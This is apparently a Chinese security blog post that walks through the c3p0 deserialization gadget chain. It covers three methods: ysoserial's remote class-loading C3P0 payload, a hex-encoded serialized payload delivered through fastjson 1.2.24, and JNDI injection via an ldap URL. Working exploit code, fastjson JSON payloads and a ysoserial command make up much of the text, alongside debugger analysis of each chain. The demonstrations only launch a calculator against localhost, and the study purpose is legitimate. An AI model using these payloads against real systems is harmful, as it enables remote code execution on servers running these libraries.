c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马)
http base jndi hex序列化字节加载器
1、http base
1.1、漏洞复现
package ysoserial.test; import ysoserial.Serializer; import ysoserial.payloads.C3P0; import java.io.*; public class C3P0Test { public static void main(String[] args) throws Exception { C3P0 c3P0 = new C3P0(); Object object = c3P0.getObject("http://127.0.0.1:8000/:EXP"); serialize(object,"c3p0.ser"); unserialize("c3p0.ser"); } public static void serialize(Object obj ,String path) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path)); objectOutputStream.writeObject(obj); } public static void unserialize(String path) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path)); objectInputStream.readObject(); } }
exp
public class EXP { public EXP() { } static { try { Runtime var0 = Runtime.getRuntime(); String[] var1 = new String[]{"bash", "-c", "open -a calculator.app"}; Process var2 = var0.exec(var1); var2.waitFor(); } catch (Exception var3) { } } }
1.2、漏洞分析
我跟jdk7u21一样还是通过ysoserial来学习,首先先学习一下c3p0链,我们看到getObject()方法,他就是通过:
截断,获取url和类名,然后反射创建PoolBackedDataSource
类,设置其connectionPoolDataSource
属性设置为new PoolSource(className, url)
实例。
我们继续看看PoolSource,除了构造方法赋值外就是有一个getReference()方法,传入了我们的恶意的url和className
public class C3P0 implements ObjectPayload<Object> { public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); } String url = command.substring(0, sep); String className = command.substring(sep + 1); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); return b; } private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public PoolSource ( String className, String url ) { this.className = className; this.url = url; } public Reference getReference () throws NamingException { return new Reference("exploit", this.className, this.url); } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(C3P0.class, args); } }
1.3、POC调试
1.3.1、序列化分析
我先来看看是怎么序列化的过程,在writeObject处打下断点
跟进去,进入到com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
,回去序列化我们的输入this.connectionPoolDataSource,但是由于我们输入的其实就是PoolSource,无法序列化,继续往下走
走到这,他会序列化indirector.indirectForm(this.connectionPoolDataSource)
,我们
indirector = new ReferenceIndirector(); oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
我们跟进去看看,此处调用的getReference()就是PoolSource的getReference方法,也是为什么PoolSource要重写该方法
然后就是ReferenceIndirector.ReferenceSerialized(),我们继续跟进去,可以看到就是把我们构造的特殊的reference赋值给this.reference,所以序列化文件里是包含这我们的恶意reference。
1.3.2、反序列化分析
我们从报错的也可以看出序列化的接口是在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
的readObject
利用链
/* * Gadget: * PoolBackedDataSourceBase#readObject * ReferenceIndirector$ReferenceSerialized#getObject * ReferenceableUtils#referenceToObject * Class#forName * */
我们把断点打在PoolBackedDataSourceBase的readObect(),走到这,会判断o是不是IndirectlySerialized,那么就会触发ReferenceIndirector的getObject方法,跟进去
进来后会通过ReferenceableUtils.referenceToObject()方法将this.reference(恶意链接)转换成Object,我们继续跟进去
获取我们恶意地址字符串和恶意类字符串分别存入var4和var11,并且新建一个ClassLoder里面存我地址,然后通过Class.forName方法加载,此时的var4和var7都是我们可以控制的。然后就会去寻找对应的地址请求恶意类。
我们可以看到在Class.forName触发了我们的代码执行,原因是Class.forName如果没有给定 classloader, 那么会使用根类加载器。如果initalize
这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化,造成远程代码执行
2、hex序列化字节加载器
这个可以满足fastjson和c3p0可以做到不出网利用。首先生成序列化payload,这里的payload注意是需要本地的另一条Gadget比如CC或者CB链,然后hex编码一下拼到PoC里
java -jar ysoserial.jar CommonsCollections2 "open -a Calculator" > calc.ser
2.1、poc复现
依赖
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
Poc
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
package com.akkacloud; import com.alibaba.fastjson.JSON; import com.mchange.lang.ByteUtils; import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; import java.io.*; import java.util.Arrays; public class fast { public static void main(String[] args) throws IOException, ClassNotFoundException { InputStream in = new FileInputStream("/Users/akka/Desktop/tools/EXP/Weblogic/calc.ser"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}"; JSON.parseObject(poc); } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } }
2.2、poc分析
原因仍然是fastjson自动调用属性的setter和getter方法。不懂得可以学习一下前面
我们直接在com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
类的 setUpPropertyListeners处打下断点,调用了parseUserOverridesAsString((String)val)
,val就是我们传入的hex加密的字符串,跟进去
该方法就是把传入的hex加密字符串解密成byte[],然后调用fromByteArray方法,继续跟进去
然后调用deserializeFromByteArray方法,继续跟进
到这一步就很清晰了,调用readObejct,造成反序列化恶意代码执行
3、JNDI利用
此方法可以配合tomcatEcho,达到回显
3.1、POC复现
依赖
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp --> <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
package com.akkacloud; import com.alibaba.fastjson.JSON; public class fast { public static void main(String[] args) throws Exception { String poc = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1389/EXP\", \"loginTimeout\":0}"; JSON.parseObject(poc); } }
3.2、POC分析
这跟fastjson其他利用链的差不多都是由于fastjson会自动触发字段的setter和getter方法。所以会自动触发com.mchange.v2.c3p0.JndiRefForwardingDataSource
的setJndiName
,但是由于该类没有该方法就会调用其父类com.mchange.v2.c3p0.impl.JndiRefDataSourceBase
的setJndiName
。我们在该方法打下断点,可以看到该方法就是把this.jndiName赋值为其传入的值(恶意链接),然后就是调用setloginTimeout
然后进入到om.mchange.v2.c3p0.JndiRefForwardingDataSource
累的setloginTimeout
,调用inner
方法,跟进去
继续调用dereference
方法,继续跟进
跟进去就发现会调用我们ctx.lookup((String)jndiName)
,完成jndi注入
参考
https://www.cnblogs.com/nice0e3/p/15058285.html
https://www.shuzhiduo.com/A/ZOJPN24Odv/
热门文章
- 「1月25日」最高速度18.5M/S,2025年SSR/Shadowrocket/V2ray/Clash每天更新免费节点订阅链接
- 一片枫叶的拼音是什么(一片枫叶猜一首歌)
- 「1月15日」最高速度18.3M/S,2025年SSR/V2ray/Clash/Shadowrocket每天更新免费节点订阅链接
- 「2月8日」最高速度19.4M/S,2025年Shadowrocket/SSR/V2ray/Clash每天更新免费节点订阅链接
- 狗粮生产厂加盟费多少(狗粮加盟代理)
- 宠物医院诊疗许可证要求是什么意思(宠物诊所诊疗许可证申请条件)
- 「2月27日」最高速度18.2M/S,2025年V2ray/SSR/Shadowrocket/Clash每天更新免费节点订阅链接
- @RequestBody接收json对象报415的解决办法
- 「1月24日」最高速度19.1M/S,2025年Clash/SSR/V2ray/Shadowrocket每天更新免费节点订阅链接
- 「2月21日」最高速度20.2M/S,2025年V2ray/Shadowrocket/Clash/SSR每天更新免费节点订阅链接